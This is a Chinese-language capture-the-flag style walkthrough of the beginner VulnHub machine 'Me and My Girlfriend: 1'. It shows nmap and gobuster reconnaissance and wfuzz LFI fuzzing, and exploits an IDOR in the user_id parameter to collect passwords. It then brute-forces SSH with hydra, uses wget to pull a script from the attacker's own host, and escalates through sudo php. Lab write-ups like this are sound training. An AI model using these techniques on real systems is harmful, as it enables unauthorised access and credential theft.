『VulnHub系列』Me and My Girlfriend: 1-Walkthrough

這是我完成的VulnHub上的第29個靶機。

靶機地址

難度:初級

靶機發布日期:2019年12月13日

在這裏插入圖片描述

靶機描述:Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • burpsuite
  • gobuster
  • hydra

0x00、信息收集

靶機IP:192.168.56.103

nmap -sn 192.168.56.0/24

在這裏插入圖片描述

端口和服務

nmap -sS -sV -T5 -A -p- 192.168.56.103

在這裏插入圖片描述

查看首頁源代碼發現提示

在這裏插入圖片描述

安裝火狐插件Header Editor,進行如下配置:

在這裏插入圖片描述

刷新頁面後網頁顯示正常

在這裏插入圖片描述

頁面、目錄枚舉

gobuster dir -u http://192.168.56.103 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.html,.zip,.txt

在這裏插入圖片描述

訪問robots.txt得到heyhoo.txt,進而訪問heyhoo.txt得到了不疼不癢的提示:Great! What you need now is reconn, attack and got the shell。

發現首頁的鏈接是http://192.168.56.103/index.php?page=,於是想到LFI。用wfuzz進行了模糊測試,沒有什麼結果

wfuzz -u 192.168.56.103/index.php?page=FUZZ -w ~/Desktop/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
wfuzz -u 192.168.56.103/index.php?page=FUZZ -w ~/Desktop/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl=0 --hw=21 --hh=120

在這裏插入圖片描述

註冊了一個賬號,登錄進去也沒發現什麼

在這裏插入圖片描述

看到鏈接爲http://192.168.56.103/index.php?page=dashboard&user_id=12,於是想嘗試一下SQLi,人工測試過程如下:
user_id=12’
user_id=12"
user_id=-12
以上均顯示正常

看到有個profile的菜單,是用來修改用戶密碼的,並且同樣帶着user_id這個參數,想着是不是存在越權漏洞,於是修改user_id的值,看用戶名是否有什麼變化。

在這裏插入圖片描述

直接把user_id改成1之後,用戶名密碼發生了改變,證實此處存在水平越權漏洞。

在這裏插入圖片描述

由於之前的信息收集只找到了SSH服務,且用得到的其他用戶的賬號密碼登錄後,沒有發現這個網站存在其他的功能。所以嘗試遍歷獲取所有的賬號密碼,用以通過SSH登錄系統。

新建賬戶的user_id是12,所以用burpsuite只對user_id=1-11進行了枚舉。

在這裏插入圖片描述

收集了用戶名和密碼,用hydra測試得到一組用戶名密碼alice:4lic3。之後使用它們登錄了系統。

在這裏插入圖片描述

0x01、提權

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

查找sudo權限命令,發現/usr/bin/php。php提權參考https://gtfobins.github.io/gtfobins/php/#sudo

sudo -l

在這裏插入圖片描述

在這裏插入圖片描述

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章